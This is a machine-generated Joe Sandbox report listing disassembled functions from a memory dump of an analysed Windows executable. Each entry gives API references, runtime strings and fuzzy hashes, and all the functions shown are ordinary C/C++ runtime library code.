Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 877bf174ddecd7ac3561e44ad8c4d5f8fbcb89db0df3b071f6ae755d8025f88d
Instruction ID: 76bb677798dc4898599f1634ad58b2c4bb76ecf757072a97aab46789c142ce06
Opcode Fuzzy Hash: 877bf174ddecd7ac3561e44ad8c4d5f8fbcb89db0df3b071f6ae755d8025f88d
Instruction Fuzzy Hash: 3DB1BF22A2FA42A1EE65DF15D5446386E91BF44B82F09843ADBCDC77C9DE7CE642C301

Function 00007FF6C7851670 Relevance: 7.7, APIs: 5, Instructions: 199COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 00007FF6C785188F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C7851908
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6C785190E
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C785191A
__std_exception_destroy.LIBVCRUNTIME ref: 00007FF6C785193D

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$Concurrency::cancel_current_task__std_exception_copy__std_exception_destroy
String ID:
API String ID: 1087005451-0
Opcode ID: 8fa2abb8088aa9f0719ea070cc18897ded193e99f4aa0bbb3f6ea83d37c04bf7
Instruction ID: 9dcd4fd3cb45f5d5bfd1bd870fc0c525b4b5c04f81c5e6526af4824f95e3bd95
Opcode Fuzzy Hash: 8fa2abb8088aa9f0719ea070cc18897ded193e99f4aa0bbb3f6ea83d37c04bf7
Instruction Fuzzy Hash: 4E81D322F1AB4295FB108FB4E4403FC3762AB547E9F504235DFAD96B96EE38A195C340

Function 00007FF6C787FCA0 Relevance: 7.7, APIs: 5, Instructions: 196COMMON

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF6C787FCDF
_set_statfp.LIBCMT ref: 00007FF6C787FCFD
_set_statfp.LIBCMT ref: 00007FF6C787FD26
_set_statfp.LIBCMT ref: 00007FF6C787FF62

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 18f451fe96e633c4b295cbaae9d38249d0eacf18a30165643d3191e187d5effb
Instruction ID: b52e2a0b690948682e6c08504aa988dcfc6cd151b5cf0cccccc984e62af457ac
Opcode Fuzzy Hash: 18f451fe96e633c4b295cbaae9d38249d0eacf18a30165643d3191e187d5effb
Instruction Fuzzy Hash: D681D312B1AA4689F2728F36A48437A6E90BF55396F144231FBDFA65D5DF3CE483C600

Function 00007FF6C788D458 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF6C788D480
_set_statfp.LIBCMT ref: 00007FF6C788D49B
_set_statfp.LIBCMT ref: 00007FF6C788D4B7
_set_statfp.LIBCMT ref: 00007FF6C788D4F3

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: e65ba792651367d839098e214d5891407b2dde01c0b567b7a4e043ebbfca8b6f
Instruction ID: cf97d5a2108f38eca5591fa43a2e295be1ecc46c8a300bce5de7e7e28c2ed4ff
Opcode Fuzzy Hash: e65ba792651367d839098e214d5891407b2dde01c0b567b7a4e043ebbfca8b6f
Instruction Fuzzy Hash: 4111E322F8EA1301F6A45F28D55737509806F99372F1D46B6EBEFD72DACE2CB8814120

Function 00007FF6C787ADC0 Relevance: 7.6, APIs: 5, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,00007FF6C787471B,?,?,00000000,00007FF6C78749B6,?,?,?,?,?,00007FF6C7874942), ref: 00007FF6C787ADDF
FlsSetValue.KERNEL32(?,?,?,00007FF6C787471B,?,?,00000000,00007FF6C78749B6,?,?,?,?,?,00007FF6C7874942), ref: 00007FF6C787ADFE
FlsSetValue.KERNEL32(?,?,?,00007FF6C787471B,?,?,00000000,00007FF6C78749B6,?,?,?,?,?,00007FF6C7874942), ref: 00007FF6C787AE26
FlsSetValue.KERNEL32(?,?,?,00007FF6C787471B,?,?,00000000,00007FF6C78749B6,?,?,?,?,?,00007FF6C7874942), ref: 00007FF6C787AE37
FlsSetValue.KERNEL32(?,?,?,00007FF6C787471B,?,?,00000000,00007FF6C78749B6,?,?,?,?,?,00007FF6C7874942), ref: 00007FF6C787AE48

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: d187414ded89b92ad3fb913650dc6829c15d42d8e5d1f32f0a821160ba34cb20
Instruction ID: 957593ddccfb8fa778482d3e5ea9bd26cac9bb820b0ce98c8a384fb455e9b1b8
Opcode Fuzzy Hash: d187414ded89b92ad3fb913650dc6829c15d42d8e5d1f32f0a821160ba34cb20
Instruction Fuzzy Hash: E3114F21F0F64642FA586F29A99517A5D426F44BB2F048734FBBFC6AD6DE2CB8414301

Function 00007FF6C787AC54 Relevance: 7.6, APIs: 5, Instructions: 50COMMON

Download Yara Rule

APIs

FlsGetValue.KERNEL32 ref: 00007FF6C787AC65
FlsSetValue.KERNEL32 ref: 00007FF6C787AC84
FlsSetValue.KERNEL32 ref: 00007FF6C787ACAC
FlsSetValue.KERNEL32 ref: 00007FF6C787ACBD
FlsSetValue.KERNEL32 ref: 00007FF6C787ACCE

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 588ac2239229576a197fccb85acd9342fb7599446a90882bc53e90458ad91cec
Instruction ID: df7f56cc917248836cfd2a90151f0aa797236fba72524576ef14f613448758b9
Opcode Fuzzy Hash: 588ac2239229576a197fccb85acd9342fb7599446a90882bc53e90458ad91cec
Instruction Fuzzy Hash: B7113C20F0F24742F9686F2948561791D426F85B77E184734FBBFCA7D6ED6CB8404252

Function 00007FF6C7881C18 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 212COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6C7881EC1

Part of subcall function 00007FF6C788A508: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6C788A525

Strings

UTF-16LEUNICODE, xrefs: 00007FF6C7881E65
UTF-8, xrefs: 00007FF6C7881E44
ccs, xrefs: 00007FF6C7881E0D

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: UTF-16LEUNICODE$UTF-8$ccs
API String ID: 3215553584-1196891531
Opcode ID: 7c0a9480b9e258cadcf2abe377386dc5345d05869c1da105d4508b908ec5b2bf
Instruction ID: 948d2c77b09251d218d9af8ea4d9fa71f72e3f441d65aaba2e7b1f1d56cddf22
Opcode Fuzzy Hash: 7c0a9480b9e258cadcf2abe377386dc5345d05869c1da105d4508b908ec5b2bf
Instruction Fuzzy Hash: C181A032E0E20286F7658F2982583792ED19F117DAF55553FCB8EC66D9CE2DA8419301

Function 00007FF6C786B070 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 190COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlEncodePointer.NTDLL ref: 00007FF6C786B0E0
_CallSETranslator.LIBVCRUNTIME ref: 00007FF6C786B12B

Strings

RCC, xrefs: 00007FF6C786B0FC
MOC, xrefs: 00007FF6C786B0F4

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: 9b1374c6934cf619966cd656eb24c3807a1de378a26e39886319f72bbcd0075f
Instruction ID: 217edc3f4f5f0fd013942d7a81041c55e7368a924248529cedbbfe89424bc294
Opcode Fuzzy Hash: 9b1374c6934cf619966cd656eb24c3807a1de378a26e39886319f72bbcd0075f
Instruction Fuzzy Hash: 8791AD73A297819AE710CF65E8802AD7FA1FB44B89F244139EB8D97B55DF38D291C700

Function 00007FF6C78696B0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 154COMMONLIBRARYCODE

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF6C78696DB
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FF6C7869772
RtlUnwindEx.KERNEL32 ref: 00007FF6C78697CC

Strings

csm, xrefs: 00007FF6C7869759

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm
API String ID: 2395640692-1018135373
Opcode ID: efcaeebe434da237d7f8c65ebcc1af5689e54ad5db89f6b9947abdf816ab4442
Instruction ID: ea02dd4d886c10f5a4cd6372de33efb812d38a64671fe5fe816165ff8442579d
Opcode Fuzzy Hash: efcaeebe434da237d7f8c65ebcc1af5689e54ad5db89f6b9947abdf816ab4442
Instruction Fuzzy Hash: 4251AF32B2A6029ADB54CF15E444A783F91EB94B99F118139DB8EC7788DF7DEA41C700

Function 00007FF6C786B5F0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF6C786B618
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00007FF6C786B700

Strings

csm, xrefs: 00007FF6C786B63A
csm, xrefs: 00007FF6C786B752

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: 80b5b027944e6adf200c0c0f2cdfffeff40a07b0781abe7934c39ef61a7b1e17
Instruction ID: 0bd08c92530b5691f4949f6dc9809ba22e8dd203d39d9cd81b0a1da10bdcaf54
Opcode Fuzzy Hash: 80b5b027944e6adf200c0c0f2cdfffeff40a07b0781abe7934c39ef61a7b1e17
Instruction Fuzzy Hash: 86516B329292829AEB648F15954427C7EA0FB55F9AF244139DBCDC7B85CF3CEA50C701

Function 00007FF6C786AE00 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

RtlEncodePointer.NTDLL ref: 00007FF6C786AE5F
_CallSETranslator.LIBVCRUNTIME ref: 00007FF6C786AEAB

Strings

MOC, xrefs: 00007FF6C786AE73
RCC, xrefs: 00007FF6C786AE7B

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: 9cfd52f45ab5dc4fce2285d457194e45e3416c299f1ca1b90b44c240d660db00
Instruction ID: be4faa4ab78855e81be0a05536496f085c0de2c6c67d98f78ae4fbf041e39641
Opcode Fuzzy Hash: 9cfd52f45ab5dc4fce2285d457194e45e3416c299f1ca1b90b44c240d660db00
Instruction Fuzzy Hash: 4F61BE32919BC591DB209F15E0407AABBA0FB84B89F044235EBDD83B95DF3CD294CB01

Function 00007FF6C7864010 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 113COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF6C786407B
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00007FF6C78640C3
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF6C7864153

Strings

bad locale name, xrefs: 00007FF6C7864176

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID: std::_$Lockit$Locinfo::_Locinfo_ctorLockit::_Lockit::~_
String ID: bad locale name
API String ID: 2775327233-1405518554
Opcode ID: c0416db31ead1b90ad17fdb051eb07fe199fd48def58b7b7f5e660e329d7bcf7
Instruction ID: 33051a150ef08524dec1da75bdb36b5dfb06ecbb36bd41f2a5153dd2af2cf121
Opcode Fuzzy Hash: c0416db31ead1b90ad17fdb051eb07fe199fd48def58b7b7f5e660e329d7bcf7
Instruction Fuzzy Hash: 70418A22B1BA41A9FB54DFB0D4902EC3BA4EF54B49F040034EF9DA7A99CF38D6219345

Function 00007FF6C7863E90 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 113COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF6C7863EFB
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00007FF6C7863F43
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF6C7863FD3

Strings

bad locale name, xrefs: 00007FF6C7863FF6

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID: std::_$Lockit$Locinfo::_Locinfo_ctorLockit::_Lockit::~_
String ID: bad locale name
API String ID: 2775327233-1405518554
Opcode ID: 9fcd7cb336c16f75f25f9420c924380d4a991d24cfce7f84e0b3057f1f7ebc5e
Instruction ID: 36a0cc02e8a56ad2c793c68617c674b7d07847978951a5d245b96ff83ead4943
Opcode Fuzzy Hash: 9fcd7cb336c16f75f25f9420c924380d4a991d24cfce7f84e0b3057f1f7ebc5e
Instruction Fuzzy Hash: A9416A22B1BA41A9EB14DFB0D4902AC3BB4EF44749F044434EF8DA7E99DF38D6269354

Function 00007FF6C7863D00 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 109COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF6C7863D6F
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00007FF6C7863DB7
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF6C7863E5E

Strings

bad locale name, xrefs: 00007FF6C7863E81

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID: std::_$Lockit$Locinfo::_Locinfo_ctorLockit::_Lockit::~_
String ID: bad locale name
API String ID: 2775327233-1405518554
Opcode ID: 3000be0bc1095b4f4dd57d4acf3841f6710e640be6946436ed2f934302c65666
Instruction ID: eadd539760e2dd4adf503e1bfe8a96cc4a8b57e3de35623469196d79cc7b5d16
Opcode Fuzzy Hash: 3000be0bc1095b4f4dd57d4acf3841f6710e640be6946436ed2f934302c65666
Instruction Fuzzy Hash: 40415732B1AA41A9EB14DFB0D4902AC3BA4EF44B09F040035EF8DA7E99CF38D625D314

Function 00007FF6C788436C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 00007FF6C7884385
FreeEnvironmentStringsW.KERNEL32 ref: 00007FF6C78843F7

Part of subcall function 00007FF6C787CF68: RtlAllocateHeap.NTDLL ref: 00007FF6C787CFA6

FreeEnvironmentStringsW.KERNEL32 ref: 00007FF6C7884456

Part of subcall function 00007FF6C787B1D8: HeapFree.KERNEL32 ref: 00007FF6C787B1EE
Part of subcall function 00007FF6C787B1D8: GetLastError.KERNEL32 ref: 00007FF6C787B1F8

Strings

COMSPEC, xrefs: 00007FF6C788437F

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID: EnvironmentFreeStrings$Heap$AllocateErrorLast
String ID: COMSPEC
API String ID: 1848424169-1631433037
Opcode ID: b6a04fea2e6691cd475f1294f2ce5ffa6e45bea10a0c99e5ec4a87127725abdd
Instruction ID: 215c8cc1c75465ebe780b8a6b8e821cf40bdbb5fa38c8284518dbc17956be2dd
Opcode Fuzzy Hash: b6a04fea2e6691cd475f1294f2ce5ffa6e45bea10a0c99e5ec4a87127725abdd
Instruction Fuzzy Hash: 03318722A0A75281EA659F26684007E6FA5FF54FD5F48423AEBDE93BC5DF3CE4418300

Function 00007FF6C787BE9C Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00007FF6C787BF1B
WriteFile.KERNEL32 ref: 00007FF6C787C1E3
WriteFile.KERNEL32 ref: 00007FF6C787C229
GetLastError.KERNEL32 ref: 00007FF6C787C2DF

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: f4985b051c93d1ffe9d611e842d6d6136a1aebebfe2613dad447161918752a3f
Instruction ID: bafb6c3f0a175c7bcd671fa37fb7aaba81283b96cfa2d6f24a435ca097377d10
Opcode Fuzzy Hash: f4985b051c93d1ffe9d611e842d6d6136a1aebebfe2613dad447161918752a3f
Instruction Fuzzy Hash: EFD10332B1AA8189E710CFB5D4402AC3BB5FB14B9AB454236DF9ED7B99DE38D406C300

Function 00007FF6C78840AC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 194COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6C7883A04: GetOEMCP.KERNEL32 ref: 00007FF6C7883A2E

IsValidCodePage.KERNEL32 ref: 00007FF6C7884119
GetCPInfo.KERNEL32 ref: 00007FF6C788415D

Strings

COMSPEC, xrefs: 00007FF6C78840B6

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID: CodeInfoPageValid
String ID: COMSPEC
API String ID: 546120528-1631433037
Opcode ID: 46c349e5193ee86d75655e4a574d5ad4ddb955498f1696478ddccb8521d54604
